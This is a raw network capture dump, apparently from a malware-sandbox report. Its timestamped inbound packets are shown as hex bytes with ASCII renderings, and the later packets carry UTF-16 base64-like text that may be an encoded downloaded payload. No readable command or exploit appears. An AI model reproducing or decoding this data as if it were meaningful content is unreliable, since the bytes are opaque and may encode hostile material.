2021-12-28 04:19:03 UTC	206	IN	Data Raw: 0d 0d d5 af 78 90 ba 02 fc e4 92 a4 69 3c e2 37 68 99 8d 7f 3e 5b d0 3b d3 9d 94 87 a4 f0 45 86 f3 6a e9 d6 53 c0 ca 70 79 c0 ff a9 3b 5e 96 7c 6d 1b f2 98 54 ef 08 22 30 4a e3 97 c9 dc 71 38 6d 41 2c cc ab 3f 2a 46 45 70 61 b4 c7 c3 3d 90 9a c8 e3 04 7c 8b 3f ac e7 d1 a2 65 ec 19 f8 f5 c3 9d 29 07 a9 df ea c6 8c a5 d6 4f 78 74 6d eb 7b cb b5 c0 bc 7e 47 c7 50 5e 3d 09 d0 2a e2 55 b6 0d f0 83 12 a6 fc 74 e5 78 c4 87 b1 61 d7 a9 9a a7 89 02 6f 81 42 d0 5f 79 8e d4 6f 14 5c e2 93 6f aa db d7 7a 00 d6 8f f5 41 c3 e7 e3 4f 4c 3f e2 9c cf 0e 11 bc 0d 80 5f ce a2 cb fe 18 7e 9c bd 1e b3 d5 09 b4 0c 4a 74 66 fa c9 f7 b2 73 41 c1 26 12 78 72 53 ab 68 6a 60 c4 b3 e9 f7 57 1b c2 0d 33 97 1f eb a0 81 47 7d 23 fc a5 6a 8b 35 5e e4 61 c5 a2 40 e8 c3 4d bc b0 9b 1f fa Data Ascii: xi<7h>[;EjSpy;^\|mT"0Jq8mA,?FEpa=\|?e)Oxtm{~GP^=UtxaoB_yo\ozAOL?_~JtfsA&xrShj`W3G}#j5^a@M
2021-12-28 04:19:03 UTC	210	IN	Data Raw: 9a c3 eb 85 c5 73 34 04 17 d6 5c 9f 8d ba b6 20 66 d6 86 e4 a3 22 50 0b a7 41 81 25 f9 8f 21 b3 8b 25 50 33 ce c1 36 a7 66 ea 7a 36 b9 87 aa 21 a6 3f 27 10 6c cc 0f c5 21 48 91 a7 45 71 bc 57 8f 89 8f 79 fc d6 30 b0 1e cb a9 22 62 8c 74 9f a6 f3 8d 84 48 1e 5b fa 6d d5 93 47 10 02 f6 d1 8d 01 ab 1b a9 e6 e7 42 73 93 a1 2b 7e 76 41 8c fc 0e 16 17 7b 79 5d 4d a1 cc a4 b7 90 da fc 58 ce 33 ea 12 01 a2 c7 65 a3 04 41 5d 7f aa b7 b1 ed 4a 4e c3 df be ed 77 83 eb cd 69 e3 78 e7 71 01 a2 08 05 c6 3d 83 0c 82 b4 f2 d0 bc 72 3a 4f b5 de c2 8e 93 3b 00 7e 05 d4 73 21 83 87 88 a3 10 6b dc 8d cd b6 66 00 cd aa e5 8e 32 ac de 1a 93 e8 8a 9a c6 34 1d d1 23 1d 49 a8 fd 46 3c 1b f5 02 6d f4 7a d7 5e 76 bd 30 3c 30 0f 8e c7 c6 6e 3f be cb 6c ed f7 03 34 56 e7 a6 5b 4e d5 Data Ascii: s4\ f"PA%!%P36fz6!?'l!HEqWy0"btH[mGBs+~vA{y]MX3eA]JNwixq=r:O;~s!kf24#IF<mz^v0<0n?l4V[N
2021-12-28 04:19:03 UTC	214	IN	Data Raw: 18 2e 9c e5 51 53 d0 86 91 4d e7 c0 64 b9 55 f9 27 33 16 9a ca c3 f3 ad 22 56 6d b8 93 29 29 47 14 04 6b 71 5f 64 c1 27 66 a6 b2 af ac e9 61 1a 7b 05 85 d9 aa 1b 64 07 d6 da b6 65 6d bb f7 49 a5 30 32 0d 9b 77 70 d9 2e dc e6 1b 25 e1 12 ab 9d 67 ff 52 18 e2 69 22 c3 f2 e5 48 bf e8 98 e8 16 7c e7 75 19 fe fc 1c 49 01 27 b0 4f 3a 3c b8 ee b4 f9 dd 47 1f 6c 11 61 2a e3 72 b3 17 48 89 31 01 2e 19 ea ba 01 70 f5 db 2d fe bf 7a 68 08 4b 28 37 51 e5 c2 3e 74 e7 d0 4c 2e e7 73 78 5f 80 2e dd 74 ec 6d 74 da 7f 00 c5 e8 6e 03 2e 15 fb 36 68 bf d7 8d db dd 19 69 57 2d 53 29 00 f4 c7 33 be 4a e3 e5 07 f4 18 19 ef 26 e1 4a 20 0e 1d 78 92 40 e7 a8 76 84 ce 02 a4 79 b8 7d d9 71 dd 31 90 5f 52 d8 f9 81 82 95 82 4a 86 2a b6 53 64 cd f8 e5 a4 d2 8e 5c 45 bd 01 59 a5 76 fb Data Ascii: .QSMdU'3"Vm))Gkq_d'fa{demI02wp.%gRi"H\|uI'O:<GlarH1.p-zhK(7Q>tL.sx_.tmtn.6hiW-S)3J&J x@vy}q1_RJSd\EYv
2021-12-28 04:19:03 UTC	225	IN	Data Raw: cf 42 bd 27 4f dc 7b 89 57 10 e4 38 e3 e1 17 a2 d5 0d f6 5d bc 0b 65 2d bb 3e 8f 41 98 64 30 f4 c3 aa 2f e4 3d ba d7 a8 23 db 6b ea 8e 38 c2 b8 2f 46 b1 fe c1 28 ad 7e bb 8a 98 ac d2 55 06 de 8d 7b 99 c2 de b3 d0 2e b1 75 49 12 37 4d d0 95 c1 de ca a5 42 6c 60 27 8b 47 e6 f2 c0 07 9f 17 06 fb 51 ff 75 59 02 7e a1 51 c1 79 39 38 45 b7 33 0f d2 22 eb ed 30 19 2c 65 76 54 50 84 64 be 3d 28 d8 5a 25 3c 71 d4 54 47 de b7 6f 23 86 9a 81 ae 33 fa 95 33 02 b3 7f c0 b4 a0 5f 82 8d 90 8f 5d a6 47 2d 41 57 f1 21 ff 2b 3e 27 55 9a 8c f2 54 0a 64 aa e3 2c 32 15 39 4b 8c ca b9 ec 34 8d e6 13 96 56 5c 6d 72 bd fa a4 b8 74 4e a0 ef 8c 1c a0 15 6b ba 51 a5 e0 fd 01 f7 cc 16 08 9a d0 75 c4 db df 7b d0 7a cc 1e ac 9e a1 da 73 af c4 72 1d d4 65 74 50 49 c1 3c f7 5e 2e da 90 Data Ascii: B'O{W8]e->Ad0/=#k8/F(~U{.uI7MBl`'GQuY~Qy98E3"0,evTPd=(Z%<qTGo#33_]G-AW!+>'UTd,29K4V\mrtNkQu{zsretPI<^.
2021-12-28 04:19:03 UTC	230	IN	Data Raw: 03 0f 8f ae 9e c7 7f 9c bd cb 9b 1e d4 26 33 44 c8 b2 c2 9a 8d fd 64 44 c0 e7 5d ee 53 8b 97 0e 49 3d 63 87 07 79 59 c0 79 bf 77 8a cf 2a e5 95 c6 6d 4a 2e ee fd 17 53 f6 87 99 51 d3 77 47 9c 4e 13 f7 f5 f9 f1 8a 07 12 d1 60 17 eb 0c f6 2e 42 f9 24 fb 3d 09 ce 2c 3f 07 23 d4 eb 1c 45 86 3c 06 07 96 d9 aa eb 49 3c b8 0c 5c e9 07 73 7c 2d 8b f2 2f 1b 31 2c 6c 15 58 8a ed a6 10 72 0a 86 f2 30 2f 3b b1 db c1 c9 64 af f2 c8 bb 17 ed a0 9e 52 80 a7 2d 48 28 86 28 eb 69 c7 91 b0 03 f7 0d 60 7a 7b ff 3b ac 7a 05 91 65 2d 6d 99 ae d1 a8 e7 01 3e e6 58 f1 3b ce 04 f8 bd 6e 3a cc 84 8f 93 6d 29 05 ff 95 9e 82 54 8f d2 d2 97 77 13 cc 77 aa 81 1f fb 3e a0 b9 68 ae bb 87 07 b9 85 f5 cb 79 f5 da c9 5d fc 61 ef 7a e0 f1 1c 3b 17 ed 30 c9 4f b6 ed 7b 4f 43 15 ad d6 b0 fa Data Ascii: &3DdD]SI=cyYyw*mJ.SQwGN`.B$=,?#E<I<\s\|-/1,lXr0/;dR-H((i`z{;ze-m>X;n:m)Tww>hy]az;0O{OC
2021-12-28 04:19:03 UTC	246	IN	Data Raw: 08 7b 2c 83 3e 16 12 d0 60 de 03 73 e9 ee 7e 9e 0e a0 7c 61 cd 03 e9 33 06 7c 39 ad 06 5c 0f 32 fc 64 85 0c bd 1e 59 e9 fe 4f d6 fa 90 e9 5f 49 26 bc ec bd 3c d0 e3 b4 80 c4 71 a8 d1 7b 35 88 6d d8 7d 44 6d 03 d3 62 34 25 6a ab d2 ab bc 0c 2b b0 a2 4e 95 18 c6 2d b7 67 3c f1 23 37 ec 8d 83 05 11 30 95 24 e9 fb 1b 28 9e ae 88 ec 7c 4b ef 0d 8a 07 b9 e1 69 aa 74 2a b0 f3 74 ab 80 16 0f b9 dd ad f8 9c e2 18 22 33 a5 64 e1 93 0c 5b b3 a0 9a b7 42 d2 71 8c dd 61 0e f6 07 f4 74 47 c2 81 a7 49 5a 9b b2 68 53 20 54 1a 7b 8f 43 c1 d0 a5 7e e8 53 b7 82 ba b3 e8 35 9e 21 ea f7 a3 70 39 68 7c 5c 4e e4 9d 8e 40 d6 a7 f4 27 25 e4 79 67 d7 09 e3 00 01 22 1a bb 0b 5e 92 5b 6c 36 55 91 86 d1 ca 36 b6 05 16 ef 44 8c 1b 39 6a 22 63 d7 0b db 25 e6 6a ed b2 d6 3e e6 65 bc 9e Data Ascii: {,>`s~\|a3\|9\2dYO_I&<q{5m}Dmb4%j+N-g<#70$(\|Kit*t"3d[BqatGIZhS T{C~S5!p9h\|\N@'%yg"^[l6U6D9j"c%j>e
2021-12-28 04:19:03 UTC	257	IN	Data Raw: 00 33 00 2b 00 52 00 5a 00 4d 00 41 00 65 00 4b 00 37 00 34 00 51 00 51 00 55 00 62 00 4c 00 79 00 43 00 6a 00 41 00 61 00 49 00 30 00 78 00 72 00 6c 00 2f 00 4b 00 5a 00 71 00 6b 00 41 00 73 00 72 00 59 00 58 00 43 00 74 00 73 00 65 00 49 00 38 00 49 00 30 00 49 00 52 00 31 00 68 00 64 00 6e 00 32 00 35 00 56 00 4c 00 65 00 7a 00 6b 00 67 00 4e 00 6d 00 53 00 47 00 46 00 55 00 48 00 46 00 4e 00 47 00 33 00 62 00 77 00 6c 00 39 00 69 00 6d 00 4d 00 52 00 35 00 77 00 63 00 6c 00 77 00 33 00 66 00 45 00 49 00 47 00 54 00 4d 00 63 00 61 00 43 00 62 00 57 00 76 00 61 00 48 00 49 00 45 00 31 00 35 00 76 00 42 00 61 00 67 00 5a 00 39 00 7a 00 75 00 63 00 64 00 2b 00 49 00 41 00 74 00 32 00 51 00 75 00 63 00 62 00 52 00 56 00 57 00 31 00 74 00 38 00 4a 00 67 00 Data Ascii: 3+RZMAeK74QQUbLyCjAaI0xrl/KZqkAsrYXCtseI8I0IR1hdn25VLezkgNmSGFUHFNG3bwl9imMR5wclw3fEIGTMcaCbWvaHIE15vBagZ9zucd+IAt2QucbRVW1t8Jg
2021-12-28 04:19:03 UTC	273	IN	Data Raw: 00 45 00 68 00 4a 00 6b 00 38 00 65 00 53 00 53 00 30 00 38 00 73 00 53 00 79 00 74 00 78 00 57 00 73 00 46 00 45 00 74 00 72 00 44 00 2b 00 56 00 30 00 65 00 57 00 52 00 4e 00 72 00 76 00 6b 00 34 00 33 00 45 00 4f 00 70 00 6e 00 4f 00 4a 00 35 00 2f 00 32 00 72 00 55 00 50 00 64 00 44 00 6d 00 66 00 4f 00 47 00 49 00 5a 00 53 00 71 00 67 00 66 00 6f 00 66 00 70 00 54 00 36 00 48 00 51 00 4c 00 74 00 53 00 37 00 50 00 74 00 66 00 48 00 6f 00 30 00 61 00 52 00 56 00 38 00 4a 00 57 00 4d 00 65 00 4d 00 55 00 43 00 67 00 77 00 30 00 67 00 49 00 66 00 32 00 54 00 46 00 6e 00 30 00 65 00 42 00 65 00 69 00 6b 00 70 00 35 00 4c 00 68 00 5a 00 79 00 66 00 5a 00 45 00 35 00 59 00 6f 00 38 00 76 00 67 00 31 00 37 00 6e 00 73 00 4c 00 35 00 43 00 63 00 79 00 6a 00 Data Ascii: EhJk8eSS08sSytxWsFEtrD+V0eWRNrvk43EOpnOJ5/2rUPdDmfOGIZSqgfofpT6HQLtS7PtfHo0aRV8JWMeMUCgw0gIf2TFn0eBeikp5LhZyfZE5Yo8vg17nsL5Ccyj
2021-12-28 04:19:03 UTC	289	IN	Data Raw: 00 77 00 67 00 75 00 47 00 53 00 58 00 69 00 6c 00 38 00 64 00 75 00 74 00 53 00 48 00 68 00 4d 00 74 00 79 00 38 00 71 00 52 00 6e 00 69 00 63 00 52 00 61 00 37 00 52 00 41 00 4f 00 4f 00 61 00 69 00 54 00 41 00 33 00 64 00 71 00 31 00 52 00 38 00 47 00 4d 00 7a 00 4d 00 78 00 75 00 4e 00 41 00 78 00 34 00 2b 00 6b 00 38 00 51 00 36 00 44 00 43 00 33 00 2b 00 6f 00 6d 00 30 00 45 00 34 00 36 00 68 00 78 00 4b 00 5a 00 6d 00 70 00 56 00 77 00 6a 00 47 00 56 00 32 00 45 00 43 00 36 00 2f 00 51 00 71 00 74 00 44 00 31 00 79 00 38 00 57 00 49 00 72 00 79 00 56 00 4b 00 36 00 65 00 2b 00 77 00 4f 00 4e 00 56 00 4c 00 55 00 63 00 74 00 5a 00 2f 00 4e 00 46 00 66 00 71 00 36 00 2b 00 30 00 71 00 50 00 56 00 74 00 4e 00 6e 00 4a 00 49 00 4a 00 36 00 50 00 45 00 Data Ascii: wguGSXil8dutSHhMty8qRnicRa7RAOOaiTA3dq1R8GMzMxuNAx4+k8Q6DC3+om0E46hxKZmpVwjGV2EC6/QqtD1y8WIryVK6e+wONVLUctZ/NFfq6+0qPVtNnJIJ6PE
2021-12-28 04:19:03 UTC	305	IN	Data Raw: 00 33 00 7a 00 49 00 49 00 38 00 31 00 77 00 72 00 34 00 42 00 41 00 58 00 67 00 48 00 2b 00 4d 00 58 00 77 00 48 00 43 00 44 00 31 00 5a 00 59 00 6f 00 54 00 55 00 65 00 72 00 77 00 57 00 63 00 79 00 33 00 69 00 68 00 33 00 4b 00 61 00 45 00 36 00 6f 00 57 00 35 00 44 00 70 00 62 00 43 00 70 00 65 00 49 00 6c 00 56 00 75 00 79 00 46 00 62 00 46 00 70 00 78 00 37 00 2b 00 44 00 46 00 48 00 7a 00 46 00 48 00 42 00 4f 00 61 00 6c 00 69 00 4f 00 4a 00 4a 00 78 00 35 00 33 00 78 00 68 00 73 00 67 00 6f 00 50 00 67 00 45 00 6c 00 6a 00 31 00 6f 00 53 00 59 00 71 00 52 00 6a 00 76 00 4d 00 50 00 67 00 61 00 4a 00 73 00 4f 00 6a 00 36 00 52 00 70 00 56 00 4a 00 57 00 6b 00 75 00 46 00 46 00 6d 00 78 00 36 00 37 00 66 00 47 00 5a 00 48 00 31 00 4e 00 33 00 42 00 Data Ascii: 3zII81wr4BAXgH+MXwHCD1ZYoTUerwWcy3ih3KaE6oW5DpbCpeIlVuyFbFpx7+DFHzFHBOaliOJJx53xhsgoPgElj1oSYqRjvMPgaJsOj6RpVJWkuFFmx67fGZH1N3B
2021-12-28 04:19:03 UTC	321	IN	Data Raw: 00 69 00 74 00 38 00 2f 00 54 00 37 00 4f 00 4e 00 6e 00 6d 00 4b 00 31 00 45 00 35 00 44 00 51 00 48 00 51 00 44 00 46 00 44 00 43 00 30 00 42 00 69 00 74 00 55 00 2b 00 76 00 47 00 2b 00 56 00 55 00 78 00 33 00 52 00 7a 00 2f 00 56 00 36 00 32 00 79 00 4b 00 76 00 64 00 44 00 63 00 30 00 6f 00 6e 00 69 00 2b 00 43 00 44 00 48 00 57 00 39 00 61 00 68 00 32 00 6e 00 78 00 6c 00 71 00 79 00 6d 00 32 00 38 00 6d 00 36 00 51 00 43 00 6c 00 75 00 56 00 51 00 6b 00 41 00 45 00 6c 00 34 00 4d 00 79 00 75 00 74 00 51 00 73 00 39 00 72 00 7a 00 5a 00 68 00 6c 00 67 00 63 00 48 00 73 00 48 00 6c 00 65 00 72 00 78 00 44 00 35 00 6e 00 2f 00 30 00 44 00 79 00 7a 00 4c 00 53 00 70 00 6f 00 41 00 54 00 7a 00 58 00 76 00 45 00 4e 00 58 00 46 00 6b 00 4d 00 75 00 43 00 Data Ascii: it8/T7ONnmK1E5DQHQDFDC0BitU+vG+VUx3Rz/V62yKvdDc0oni+CDHW9ah2nxlqym28m6QCluVQkAEl4MyutQs9rzZhlgcHsHlerxD5n/0DyzLSpoATzXvENXFkMuC
2021-12-28 04:19:03 UTC	337	IN	Data Raw: 00 4b 00 43 00 32 00 51 00 5a 00 51 00 2f 00 44 00 75 00 5a 00 57 00 44 00 4f 00 32 00 45 00 37 00 79 00 59 00 41 00 39 00 51 00 2b 00 76 00 53 00 45 00 6a 00 57 00 41 00 34 00 48 00 6f 00 74 00 43 00 43 00 56 00 39 00 38 00 53 00 6a 00 4b 00 33 00 55 00 2b 00 71 00 36 00 6f 00 32 00 72 00 50 00 79 00 30 00 45 00 77 00 63 00 48 00 37 00 6f 00 77 00 67 00 2f 00 33 00 35 00 4d 00 2f 00 73 00 41 00 36 00 4a 00 72 00 74 00 4b 00 4a 00 4c 00 71 00 41 00 63 00 49 00 2b 00 4f 00 64 00 47 00 36 00 41 00 51 00 57 00 62 00 4d 00 69 00 6f 00 45 00 76 00 74 00 37 00 75 00 67 00 53 00 42 00 50 00 64 00 79 00 36 00 59 00 65 00 6a 00 51 00 53 00 71 00 46 00 71 00 4c 00 67 00 42 00 54 00 38 00 55 00 56 00 75 00 53 00 5a 00 35 00 69 00 49 00 42 00 6e 00 52 00 50 00 6d 00 Data Ascii: KC2QZQ/DuZWDO2E7yYA9Q+vSEjWA4HotCCV98SjK3U+q6o2rPy0EwcH7owg/35M/sA6JrtKJLqAcI+OdG6AQWbMioEvt7ugSBPdy6YejQSqFqLgBT8UVuSZ5iIBnRPm
2021-12-28 04:19:03 UTC	353	IN	Data Raw: 00 4d 00 4b 00 4c 00 4f 00 58 00 41 00 6f 00 31 00 53 00 62 00 53 00 33 00 78 00 6c 00 71 00 44 00 65 00 61 00 36 00 2f 00 52 00 30 00 33 00 45 00 43 00 73 00 48 00 72 00 53 00 58 00 4c 00 4b 00 56 00 72 00 43 00 57 00 79 00 6b 00 5a 00 66 00 43 00 79 00 53 00 6c 00 35 00 4f 00 6b 00 79 00 78 00 42 00 66 00 51 00 4f 00 79 00 63 00 33 00 67 00 4b 00 47 00 62 00 4a 00 42 00 48 00 2f 00 59 00 6d 00 32 00 2f 00 45 00 30 00 78 00 2f 00 4b 00 32 00 54 00 4a 00 4f 00 45 00 5a 00 61 00 69 00 70 00 78 00 62 00 44 00 77 00 34 00 74 00 6c 00 62 00 75 00 58 00 6c 00 49 00 56 00 6e 00 35 00 74 00 61 00 4a 00 33 00 6e 00 44 00 6e 00 79 00 42 00 70 00 37 00 54 00 4e 00 79 00 51 00 64 00 36 00 7a 00 5a 00 4e 00 4a 00 37 00 41 00 73 00 64 00 77 00 52 00 7a 00 43 00 6c 00 Data Ascii: MKLOXAo1SbS3xlqDea6/R03ECsHrSXLKVrCWykZfCySl5OkyxBfQOyc3gKGbJBH/Ym2/E0x/K2TJOEZaipxbDw4tlbuXlIVn5taJ3nDnyBp7TNyQd6zZNJ7AsdwRzCl
2021-12-28 04:19:03 UTC	369	IN	Data Raw: 00 64 00 63 00 75 00 4c 00 64 00 49 00 59 00 72 00 79 00 44 00 4e 00 2b 00 2f 00 6f 00 6a 00 78 00 6c 00 42 00 61 00 56 00 68 00 46 00 4f 00 57 00 6f 00 76 00 6c 00 56 00 78 00 46 00 48 00 74 00 73 00 55 00 42 00 31 00 56 00 64 00 7a 00 50 00 5a 00 6a 00 65 00 64 00 6d 00 76 00 56 00 59 00 53 00 4b 00 75 00 2f 00 46 00 73 00 36 00 76 00 48 00 70 00 76 00 56 00 53 00 34 00 2b 00 33 00 5a 00 76 00 46 00 71 00 67 00 4a 00 58 00 2f 00 66 00 70 00 4d 00 65 00 30 00 39 00 2b 00 37 00 34 00 61 00 34 00 77 00 57 00 35 00 34 00 7a 00 51 00 4a 00 47 00 46 00 49 00 64 00 51 00 41 00 54 00 32 00 62 00 31 00 7a 00 73 00 4a 00 2b 00 31 00 76 00 6a 00 33 00 47 00 52 00 39 00 74 00 6b 00 50 00 55 00 36 00 6a 00 76 00 72 00 52 00 35 00 69 00 59 00 45 00 36 00 76 00 79 00 Data Ascii: dcuLdIYryDN+/ojxlBaVhFOWovlVxFHtsUB1VdzPZjedmvVYSKu/Fs6vHpvVS4+3ZvFqgJX/fpMe09+74a4wW54zQJGFIdQAT2b1zsJ+1vj3GR9tkPU6jvrR5iYE6vy
2021-12-28 04:19:03 UTC	385	IN	Data Raw: 00 51 00 2b 00 69 00 4c 00 6d 00 71 00 4b 00 48 00 72 00 5a 00 2b 00 67 00 70 00 56 00 46 00 54 00 61 00 73 00 6f 00 30 00 65 00 6e 00 49 00 79 00 2f 00 67 00 45 00 51 00 34 00 4a 00 6d 00 61 00 64 00 4f 00 66 00 6f 00 2b 00 76 00 63 00 76 00 32 00 6c 00 35 00 2b 00 6f 00 6a 00 55 00 6b 00 68 00 39 00 74 00 58 00 76 00 6b 00 2f 00 2f 00 4f 00 31 00 62 00 35 00 5a 00 4a 00 33 00 63 00 4e 00 38 00 30 00 38 00 6d 00 6a 00 4d 00 43 00 78 00 59 00 48 00 50 00 78 00 53 00 41 00 45 00 47 00 76 00 62 00 36 00 35 00 6f 00 4b 00 4f 00 62 00 4e 00 64 00 66 00 42 00 33 00 62 00 2f 00 66 00 30 00 78 00 70 00 63 00 37 00 2b 00 57 00 57 00 6a 00 32 00 48 00 68 00 30 00 2f 00 4f 00 39 00 34 00 7a 00 59 00 75 00 76 00 69 00 57 00 41 00 2b 00 53 00 78 00 75 00 4e 00 57 00 Data Ascii: Q+iLmqKHrZ+gpVFTaso0enIy/gEQ4JmadOfo+vcv2l5+ojUkh9tXvk//O1b5ZJ3cN808mjMCxYHPxSAEGvb65oKObNdfB3b/f0xpc7+WWj2Hh0/O94zYuviWA+SxuNW
2021-12-28 04:19:03 UTC	401	IN	Data Raw: 00 52 00 73 00 2b 00 41 00 5a 00 4a 00 66 00 78 00 78 00 52 00 39 00 4b 00 64 00 78 00 6d 00 66 00 45 00 30 00 4a 00 74 00 56 00 4f 00 51 00 35 00 4b 00 75 00 4d 00 62 00 5a 00 72 00 64 00 36 00 64 00 41 00 48 00 6b 00 6a 00 39 00 55 00 68 00 62 00 2b 00 7a 00 78 00 30 00 55 00 37 00 55 00 38 00 6d 00 54 00 77 00 59 00 2f 00 6b 00 77 00 57 00 45 00 2b 00 75 00 6d 00 67 00 4d 00 74 00 52 00 6e 00 75 00 51 00 63 00 71 00 74 00 5a 00 76 00 4b 00 67 00 74 00 48 00 6a 00 53 00 61 00 38 00 4d 00 51 00 4b 00 73 00 4b 00 53 00 44 00 33 00 4c 00 56 00 37 00 69 00 49 00 77 00 44 00 68 00 32 00 45 00 74 00 38 00 65 00 43 00 69 00 44 00 39 00 64 00 6e 00 64 00 6b 00 72 00 37 00 65 00 4c 00 4f 00 77 00 2b 00 54 00 31 00 47 00 66 00 55 00 63 00 6e 00 32 00 72 00 4d 00 Data Ascii: Rs+AZJfxxR9KdxmfE0JtVOQ5KuMbZrd6dAHkj9Uhb+zx0U7U8mTwY/kwWE+umgMtRnuQcqtZvKgtHjSa8MQKsKSD3LV7iIwDh2Et8eCiD9dndkr7eLOw+T1GfUcn2rM
2021-12-28 04:19:03 UTC	417	IN	Data Raw: 00 73 00 58 00 78 00 47 00 32 00 2b 00 44 00 44 00 46 00 6f 00 4a 00 70 00 79 00 63 00 78 00 50 00 78 00 52 00 4e 00 62 00 42 00 64 00 45 00 48 00 6c 00 2f 00 42 00 78 00 58 00 4f 00 7a 00 57 00 63 00 6d 00 65 00 78 00 68 00 61 00 6d 00 76 00 44 00 78 00 71 00 4e 00 6f 00 4c 00 53 00 44 00 31 00 52 00 5a 00 64 00 63 00 62 00 49 00 70 00 6c 00 79 00 4a 00 44 00 66 00 56 00 6d 00 6a 00 64 00 6b 00 6f 00 56 00 36 00 4f 00 50 00 2f 00 45 00 65 00 41 00 4a 00 76 00 32 00 4c 00 63 00 32 00 6e 00 42 00 79 00 67 00 5a 00 4d 00 64 00 74 00 66 00 4c 00 63 00 62 00 76 00 6e 00 34 00 50 00 7a 00 5a 00 78 00 62 00 72 00 6f 00 2b 00 47 00 39 00 55 00 46 00 54 00 6e 00 61 00 6d 00 65 00 6b 00 35 00 56 00 63 00 76 00 2b 00 6e 00 67 00 72 00 73 00 54 00 47 00 77 00 62 00 Data Ascii: sXxG2+DDFoJpycxPxRNbBdEHl/BxXOzWcmexhamvDxqNoLSD1RZdcbIplyJDfVmjdkoV6OP/EeAJv2Lc2nBygZMdtfLcbvn4PzZxbro+G9UFTnamek5Vcv+ngrsTGwb
2021-12-28 04:19:03 UTC	433	IN	Data Raw: 00 48 00 43 00 69 00 50 00 4a 00 74 00 53 00 79 00 54 00 70 00 6e 00 6a 00 45 00 62 00 30 00 45 00 67 00 61 00 58 00 36 00 44 00 48 00 76 00 36 00 39 00 72 00 7a 00 2b 00 44 00 48 00 77 00 30 00 30 00 39 00 4a 00 71 00 65 00 63 00 6a 00 77 00 34 00 42 00 75 00 48 00 73 00 4f 00 6f 00 32 00 73 00 46 00 51 00 30 00 5a 00 61 00 67 00 77 00 75 00 59 00 55 00 63 00 79 00 63 00 52 00 44 00 65 00 31 00 41 00 31 00 46 00 6b 00 51 00 69 00 4b 00 35 00 33 00 4b 00 33 00 4f 00 53 00 45 00 59 00 70 00 37 00 6b 00 50 00 43 00 30 00 54 00 4d 00 55 00 4c 00 31 00 30 00 66 00 48 00 71 00 54 00 4a 00 78 00 67 00 33 00 5a 00 48 00 2b 00 4d 00 6c 00 6a 00 39 00 43 00 6c 00 72 00 57 00 6e 00 38 00 67 00 6d 00 65 00 78 00 66 00 72 00 52 00 56 00 7a 00 68 00 49 00 32 00 6a 00 Data Ascii: HCiPJtSyTpnjEb0EgaX6DHv69rz+DHw009Jqecjw4BuHsOo2sFQ0ZagwuYUcycRDe1A1FkQiK53K3OSEYp7kPC0TMUL10fHqTJxg3ZH+Mlj9ClrWn8gmexfrRVzhI2j
2021-12-28 04:19:03 UTC	449	IN	Data Raw: 00 66 00 2b 00 64 00 5a 00 45 00 31 00 37 00 6d 00 32 00 42 00 31 00 7a 00 35 00 49 00 31 00 4c 00 4d 00 65 00 73 00 4b 00 71 00 39 00 42 00 51 00 73 00 37 00 65 00 55 00 72 00 42 00 67 00 78 00 50 00 6c 00 59 00 2b 00 66 00 4f 00 47 00 42 00 44 00 49 00 33 00 31 00 4f 00 46 00 4d 00 73 00 33 00 69 00 62 00 6a 00 57 00 66 00 30 00 67 00 62 00 48 00 46 00 74 00 2f 00 38 00 72 00 49 00 71 00 49 00 69 00 37 00 56 00 73 00 45 00 56 00 50 00 63 00 74 00 73 00 44 00 58 00 48 00 30 00 44 00 42 00 46 00 36 00 57 00 6f 00 7a 00 44 00 47 00 6c 00 58 00 34 00 76 00 31 00 5a 00 75 00 44 00 46 00 46 00 71 00 76 00 5a 00 59 00 65 00 51 00 41 00 62 00 77 00 74 00 37 00 6b 00 32 00 52 00 7a 00 63 00 76 00 74 00 79 00 6f 00 44 00 4c 00 38 00 41 00 71 00 4c 00 48 00 30 00 Data Ascii: f+dZE17m2B1z5I1LMesKq9BQs7eUrBgxPlY+fOGBDI31OFMs3ibjWf0gbHFt/8rIqIi7VsEVPctsDXH0DBF6WozDGlX4v1ZuDFFqvZYeQAbwt7k2RzcvtyoDL8AqLH0
2021-12-28 04:19:03 UTC	464	IN	Data Raw: 77 00 50 00 5a 00 36 00 6c 00 49 00 34 00 4a 00 42 00 45 00 4f 00 4b 00 41 00 43 00 77 00 52 00 59 00 58 00 61 00 72 00 34 00 54 00 6a 00 55 00 6b 00 36 00 41 00 65 00 6d 00 50 00 5a 00 69 00 6a 00 5a 00 4b 00 36 00 44 00 62 00 46 00 78 00 2f 00 61 00 4d 00 76 00 32 00 50 00 77 00 74 00 46 00 74 00 52 00 66 00 71 00 74 00 6a 00 39 00 69 00 76 00 4a 00 4e 00 6a 00 44 00 2b 00 2f 00 56 00 66 00 2f 00 4a 00 6e 00 66 00 4b 00 6c 00 45 00 30 00 32 00 67 00 38 00 61 00 64 00 76 00 62 00 65 00 73 00 59 00 49 00 43 00 4d 00 62 00 36 00 46 00 4b 00 64 00 44 00 51 00 39 00 72 00 58 00 35 00 49 00 69 00 33 00 38 00 50 00 63 00 34 00 79 00 44 00 6d 00 31 00 72 00 52 00 79 00 52 00 48 00 47 00 4d 00 66 00 55 00 33 00 52 00 36 00 69 00 39 00 62 00 50 00 4e 00 4a 00 67 Data Ascii: wPZ6lI4JBEOKACwRYXar4TjUk6AemPZijZK6DbFx/aMv2PwtFtRfqtj9ivJNjD+/Vf/JnfKlE02g8advbesYICMb6FKdDQ9rX5Ii38Pc4yDm1rRyRHGMfU3R6i9bPNJg
2021-12-28 04:19:03 UTC	480	IN	Data Raw: 61 00 74 00 37 00 51 00 4a 00 45 00 6f 00 30 00 37 00 71 00 76 00 4d 00 72 00 30 00 4a 00 78 00 41 00 2b 00 63 00 43 00 68 00 67 00 33 00 30 00 61 00 6b 00 6f 00 45 00 70 00 45 00 59 00 6c 00 46 00 47 00 6d 00 7a 00 77 00 59 00 6c 00 52 00 54 00 75 00 4c 00 5a 00 68 00 63 00 39 00 36 00 73 00 4f 00 67 00 53 00 78 00 55 00 2f 00 68 00 37 00 30 00 45 00 31 00 5a 00 78 00 63 00 62 00 66 00 4d 00 36 00 7a 00 64 00 71 00 62 00 63 00 49 00 4a 00 66 00 70 00 32 00 77 00 2b 00 57 00 30 00 6c 00 61 00 79 00 35 00 71 00 36 00 56 00 6b 00 43 00 2b 00 39 00 2b 00 41 00 49 00 4c 00 49 00 75 00 68 00 68 00 4d 00 48 00 70 00 44 00 68 00 6b 00 31 00 50 00 62 00 30 00 66 00 4b 00 54 00 47 00 66 00 64 00 32 00 6b 00 4e 00 62 00 71 00 32 00 6c 00 33 00 7a 00 36 00 6c 00 48 Data Ascii: 